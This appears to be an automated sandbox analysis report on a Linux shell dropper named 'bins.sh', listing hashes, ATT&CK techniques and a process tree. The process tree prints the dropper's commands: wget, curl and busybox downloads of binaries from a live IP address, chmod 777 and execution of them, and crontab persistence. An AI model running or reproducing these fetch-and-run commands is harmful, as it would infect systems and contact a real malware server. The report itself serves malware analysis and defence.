f1e174b1d227f565f874156a1ed092123bfc4421c41ef3b7eb9f57d85b94a109

Analysis

max time kernel
149s
max time network
152s
platform
debian-9_armhf
resource
debian9-armhf-20240418-en
resource tags

arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
20/11/2024, 06:31

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General

Target
bins.sh
Size 10KB
Sample241120-g92l5sseqf
SHA256 f1e174b1d227f565f874156a1ed092123bfc4421c41ef3b7eb9f57d85b94a109
MD5 5c002a675bf13d9254cbcf71d0880ad7
SHA1 6b23ac737bbb2a21a5e8e322b7a85ce0bd035c04
SHA512 66f9f99ad03a2a5b56bb54c3676f86d33a5d7e165bf9d7c1e43da38c2005258128fcf95746bc924ca55f6dae423b1f7762bce982455e40fc33534ac37d545a7f
SSDEEP 192:mLvHEMP7PbcMUXRRJOC1WKbD+DyDxe+qfr97COC7xN7877P3XS7eSsaTXkfrFOCY:gEamxe+OOzgvSonamxe+0SO
MD5 SHA1 SHA512 SSDEEP

Score

9^/10

antivm defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (2115) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
689	chmod
676	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/9tgWsRXNHSvAfmuKzfCpZllPLzDrIF1KfO	678	9tgWsRXNHSvAfmuKzfCpZllPLzDrIF1KfO
/tmp/yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J	690	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J

Renames itself 1 IoCs

pid	Process
691	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.AxFgTj	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/188/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/901/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/905/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/953/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/1006/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/867/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/930/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/788/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/272/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/722/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/881/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/959/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/971/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/2/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/208/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/893/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/919/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/955/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/1013/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/8/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/761/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/916/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/927/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/933/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/710/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/984/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/736/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/785/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/811/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/852/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/874/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/889/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/895/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/10/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/945/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/907/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/582/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/774/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/796/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/922/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/745/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/757/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/787/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/880/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/897/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/951/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/80/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/602/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/702/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/805/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/873/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/998/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/26/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/7/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/894/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/900/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/6/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/739/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/771/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/817/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/914/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
File opened for reading	/proc/939/cmdline	yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/9tgWsRXNHSvAfmuKzfCpZllPLzDrIF1KfO	wget
File opened for modification	/tmp/9tgWsRXNHSvAfmuKzfCpZllPLzDrIF1KfO	curl
File opened for modification	/tmp/9tgWsRXNHSvAfmuKzfCpZllPLzDrIF1KfO	busybox
File opened for modification	/tmp/yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J	wget
File opened for modification	/tmp/yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J	curl
File opened for modification	/tmp/yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:650
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:653
- /usr/bin/wget
  wget http://87.120.125.191/bins/9tgWsRXNHSvAfmuKzfCpZllPLzDrIF1KfO
  2⤵
  - Writes file to tmp directory
  PID:659
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/9tgWsRXNHSvAfmuKzfCpZllPLzDrIF1KfO
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:666
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/9tgWsRXNHSvAfmuKzfCpZllPLzDrIF1KfO
  2⤵
  - Writes file to tmp directory
  PID:674
- /bin/chmod
  chmod 777 9tgWsRXNHSvAfmuKzfCpZllPLzDrIF1KfO
  2⤵
  - File and Directory Permissions Modification
  PID:676
- /tmp/9tgWsRXNHSvAfmuKzfCpZllPLzDrIF1KfO
  ./9tgWsRXNHSvAfmuKzfCpZllPLzDrIF1KfO
  2⤵
  - Executes dropped EXE
  PID:678
- /bin/rm
  rm 9tgWsRXNHSvAfmuKzfCpZllPLzDrIF1KfO
  2⤵
  PID:680
- /usr/bin/wget
  wget http://87.120.125.191/bins/yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
  2⤵
  - Writes file to tmp directory
  PID:681
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:686
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
  2⤵
  - Writes file to tmp directory
  PID:688
- /bin/chmod
  chmod 777 yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
  2⤵
  - File and Directory Permissions Modification
  PID:689
- /tmp/yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
  ./yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:690
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:692
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:693
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:694
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:695
- /bin/rm
  rm yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
  2⤵
  PID:697
- /usr/bin/wget
  wget http://87.120.125.191/bins/CzfY3WCfUcUN1vj8fkEFhkFJAhcGHQbHpV
  2⤵
  PID:700

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

9tgWsRXNHSvAfmuKzfCpZllPLzDrIF1KfO

Path /tmp/9tgWsRXNHSvAfmuKzfCpZllPLzDrIF1KfO
Size 99KB
SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
MD5 9438d9bc392bcf300a5583b6df5bc8f6
SHA1 375a6ae34b516f6f3eeea8030c4084f585017efa
SHA512 1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860
SSDEEP 3072:kFPlxndf22h/xwXnTkai7MYRApCg9dgdmk1b5wdL35sPX:kZlxndf8nTqtS/9dgdmk1b5wdj5sPX
MD5 SHA1 SHA512 SSDEEP

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yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J

Path /tmp/yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
Size 119KB
SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
MD5 1b166b95f9cb4b079ef1b9ec8363ddf3
SHA1 0d8eb08add467b3b5474f9b25909297fe7c2839c
SHA512 983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925
SSDEEP 3072:lbeGHulXta3Yz+u6b/tDrHvIAJ9GjOHSHm8RiQztBJk9zEp:Re3ODtDbvIg9Gj7Hm8RiQztB+9zEp
MD5 SHA1 SHA512 SSDEEP

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tmp.AxFgTj

Path /var/spool/cron/crontabs/tmp.AxFgTj
Size 210B
SHA256 dcd775322fab75b293464cfa359b9f9450aeec60b448ffbc5494b2c48d1f4668
MD5 48c6071c1a7edfb7d15b3f3d6894b782
SHA1 d683a0aec950e17be7a74164267b7878a9e95b14
SHA512 abc03f78f6c7bb9bc997402fa3c8fb6783697ca37aa16a592273c51781f8fce34dc675ceee31bee336edd9e1cd8f7c9b6466ac27ca26d7833e5c897cd156cec9
MD5 SHA1 SHA512

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads